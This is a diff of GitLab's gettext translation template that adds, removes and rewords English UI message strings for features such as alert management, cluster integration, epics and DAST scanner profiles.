msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
